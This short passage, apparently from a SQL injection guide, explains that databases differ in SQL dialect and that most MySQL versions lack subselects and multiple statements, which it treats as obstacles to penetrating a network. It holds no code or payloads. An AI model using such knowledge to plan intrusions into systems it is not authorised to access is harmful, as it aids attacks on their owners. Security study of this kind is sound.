Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.